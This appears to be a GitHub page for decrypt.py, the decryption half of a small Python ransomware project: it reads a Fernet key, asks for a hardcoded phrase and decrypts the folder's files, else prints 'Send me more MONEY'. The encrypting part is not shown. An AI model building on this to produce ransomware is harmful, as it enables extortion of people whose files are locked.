-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdecrypt.py
More file actions
executable file
·32 lines (25 loc) · 821 Bytes
/
decrypt.py
File metadata and controls
executable file
·32 lines (25 loc) · 821 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
#let's find some files
files = []
for file in os.listdir():
if file == "Encrypted.py" or file == "thekey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append (file)
print (files)
with open("thekey.key", "rb") as key:
secretkey = key.read()
secretphrase = "NotMe"
user_phrase = input("Enter the secret phrase to decrypt your files\n")
if user_phrase == secretphrase:
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_decrypted)
print("congrats, you're files are decrypted. Enjoy your Life")
else:
print("Sorry, wrong secret phrase. Send me more MONEY")